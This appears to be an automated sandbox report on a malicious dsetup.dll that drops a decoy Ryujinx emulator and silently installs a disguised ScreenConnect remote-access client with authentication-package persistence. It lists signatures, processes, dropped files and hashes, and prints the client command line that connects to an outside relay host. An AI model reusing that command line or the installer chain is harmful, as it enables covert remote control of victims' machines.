Analysis

  • max time kernel
    149s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 02:58

General

  • Target
    dsetup.dll
  • Size 80.0MB
  • Sample260710-dgg59adw2x
  • SHA256 c25a08d59a215dce54ce9aed5636d5958eb6b87daee3b40ae666f92951be37f6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 26 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 24 IoCs
  • Drops file in Program Files directory 51 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4092
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\dsetup.dll,#1
      2⤵
      • Checks for any installed AV software in registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4108
      • C:\Users\Admin\AppData\Local\Temp\0e2aa9d4.exe
        "C:\Users\Admin\AppData\Local\Temp\0e2aa9d4.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3236
        • C:\Program Files (x86)\Ryujinx\Ryujinx.exe
          "C:\Program Files (x86)\Ryujinx\Ryujinx.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Checks SCSI registry key(s)
          • Suspicious use of SetWindowsHookEx
          PID:2080
      • C:\Windows\SysWOW64\msiexec.exe
        msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\BD700531.tmp /qn REBOOT=ReallySuppress
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4824
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5140
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E9464B756A3972C69620CBB9CDE047A2
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:236
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6325.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739218 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:944
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 460CCD624627C347339DCF68F0BCB1C8 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4376
  • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=44cc09f6-85eb-4ac5-9673-5850e570b50b&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=ryujinx&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1932
    • C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe" "RunRole" "ed52e085-163e-41b3-a675-9a94b16350c8" "User"
      2⤵
      • Executes dropped EXE
      PID:4432

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e596098.rbs

        • Path C:\Config.Msi\e596098.rbs
        • Size 213KB
        • SHA256 4ed287dfc97a96d28196d9c69eeea627dfd2a9946dcd8a0f4470faa0f3b67449
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SDL2.DLL

        • Path C:\Program Files (x86)\Ryujinx\SDL2.DLL
        • Size 1.6MB
        • SHA256 c48431a47d57d99d7a056d634427b2b9dd7d640d3e8d9ac14551ee39a9906ecc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        av_libGLESv2.dll

        • Path C:\Program Files (x86)\Ryujinx\av_libGLESv2.dll
        • Size 4.2MB
        • SHA256 85b3aee47c0e0eaf3a5ea5c75ba8131387a12639b6a0ef280c28531fb77695ae
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libHarfBuzzSharp.DLL

        • Path C:\Program Files (x86)\Ryujinx\libHarfBuzzSharp.DLL
        • Size 1.5MB
        • SHA256 ef5923ef4cdc8612c1825b294174b5b8cc8a056ed0f06b58db56aabc56aaae12
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libSkiaSharp.DLL

        • Path C:\Program Files (x86)\Ryujinx\libSkiaSharp.DLL
        • Size 9.0MB
        • SHA256 9a0d95e8caaa852c70d085af6a40a744242172ad9ea3fd6bc7599875a8a1dbcd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VC9CRT_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VC9CRT_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VC9CRT_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VC9CRT_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0e2aa9d4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0e2aa9d4.exe
        • Size 37.3MB
        • SHA256 fe9fbd1825317a1b61d3c3e6857e39e2a2993fe9bd3553b4fb5e7826397b24e9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        BD700531.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\BD700531.tmp
        • Size 12.8MB
        • SHA256 d36a7d4f536229d2784908c9975612a8d20180ec38dc2b066b777a1d501d4c1d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        imkvdb.arc

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\0\imkvdb.arc
        • Size 12B
        • SHA256 f2dcb07cab0cf427a9b304b36a6e803277e59c8082f0235312abc0c75d2945e7
        • MD5 SHA1 SHA512

        ExtraData0

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData0
        • Size 512B
        • SHA256 b9259df8e69cdd16df0a260e8d36a7966881692279663e28a4bac8bd1d8da425
        • MD5 SHA1 SHA512

        ExtraData0

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData0
        • Size 512B
        • SHA256 04a2b61a3f7d20aa91d59dd4d13d849d410810e03b855d5b2945a8e7b4ac5269
        • MD5 SHA1 SHA512

        ExtraData1

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData1
        • Size 512B
        • SHA256 6ca19842bddf52442d2cc996c2f606e1809f01988c3b0d415c5c12c1c9cb650e
        • MD5 SHA1 SHA512

        ExtraData_

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\ExtraData_
        • Size 512B
        • SHA256 87b4ca328370d13fca99e6a25dbd5d4159c09f9dc891bfe1adb8b1e5dbb50e0c
        • MD5 SHA1 SHA512

        lastPublishedId

        • Path C:\Users\Admin\AppData\Roaming\Ryujinx\bis\system\save\8000000000000000\_\lastPublishedId
        • Size 8B
        • SHA256 af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc
        • MD5 SHA1 SHA512

        MSI6325.tmp

        • Path C:\Windows\Installer\MSI6325.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI6325.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI6325.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI6325.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI6325.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI6922.tmp

        • Path C:\Windows\Installer\MSI6922.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2x2vapqf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\2x2vapqf.newcfg
        • Size 584B
        • SHA256 df84ad251ece9525ad760cfc2d5074e64ee2e85d53dc40aa59d158ccfcdaa4ae
        • MD5 SHA1 SHA512 TLSH

        aluiab4w.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\aluiab4w.newcfg
        • Size 584B
        • SHA256 f3ad58785ad79850fbdee6bc0001430653a7188a21673e54d72929bdd9fb9066
        • MD5 SHA1 SHA512 TLSH

        anxrwita.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\anxrwita.newcfg
        • Size 584B
        • SHA256 4dae9a38fe6e29dfcff43198015fae910f9be2d934d2e982b2286237ac7bddbe
        • MD5 SHA1 SHA512 TLSH

        evgqar2l.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\evgqar2l.newcfg
        • Size 584B
        • SHA256 d120aaba92003da68c582a974cd0f7c2e29c7b04d1a297d0aa25f9a1a600cba1
        • MD5 SHA1 SHA512 TLSH

        kj4ygb3p.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\kj4ygb3p.newcfg
        • Size 584B
        • SHA256 73e6bc14e2564248412476464693cce69eb718807093c6adeb0babc4b2e6a199
        • MD5 SHA1 SHA512 TLSH

        ldmy4i23.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\ldmy4i23.newcfg
        • Size 584B
        • SHA256 e345d09c19e4589baaf001fba3811e22f99461fbf04e24cb21a1c0598c746c91
        • MD5 SHA1 SHA512 TLSH

        rjukowjn.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\rjukowjn.newcfg
        • Size 584B
        • SHA256 39486f707c8d14f1a3090fe41263350c17227af9dac1071faacb840fae79f19a
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VC9CRT_x64\user.config
        • Size 584B
        • SHA256 11e92ce6852d2f9a72e3d6f587a71a49763618739cdeee4c3a32f1cebd011864
        • MD5 SHA1 SHA512 TLSH

        memory/944-52-0x0000000004050000-0x000000000405A000-memory.dmp

        memory/944-56-0x0000000004180000-0x000000000420E000-memory.dmp

        memory/944-61-0x0000000006B50000-0x000000000710A000-memory.dmp

        memory/944-60-0x00000000063E0000-0x000000000658C000-memory.dmp

        memory/944-48-0x0000000004060000-0x000000000408E000-memory.dmp

        memory/1932-129-0x00000000046B0000-0x00000000046F1000-memory.dmp

        memory/1932-127-0x0000000004750000-0x00000000047E2000-memory.dmp

        memory/1932-100-0x0000000001D90000-0x0000000001DA8000-memory.dmp

        memory/1932-122-0x0000000004450000-0x00000000044A0000-memory.dmp

        memory/1932-126-0x00000000044A0000-0x00000000044D6000-memory.dmp

        memory/1932-131-0x0000000004940000-0x0000000004A15000-memory.dmp

        memory/3236-230-0x0000000000440000-0x0000000000758000-memory.dmp

        memory/3236-163-0x0000000000440000-0x0000000000758000-memory.dmp

        memory/3236-148-0x0000000000440000-0x0000000000758000-memory.dmp

        memory/3236-238-0x0000000000440000-0x0000000000758000-memory.dmp

        memory/4432-147-0x0000000002720000-0x0000000002738000-memory.dmp

        memory/4432-141-0x00000000002A0000-0x0000000000338000-memory.dmp

        memory/4432-142-0x00000000026C0000-0x00000000026F6000-memory.dmp

        memory/4432-144-0x000000001B4F0000-0x000000001B69C000-memory.dmp

        memory/4432-143-0x000000001B2B0000-0x000000001B33E000-memory.dmp

        memory/4432-145-0x000000001B6A0000-0x000000001B828000-memory.dmp

        memory/4432-146-0x0000000002560000-0x0000000002578000-memory.dmp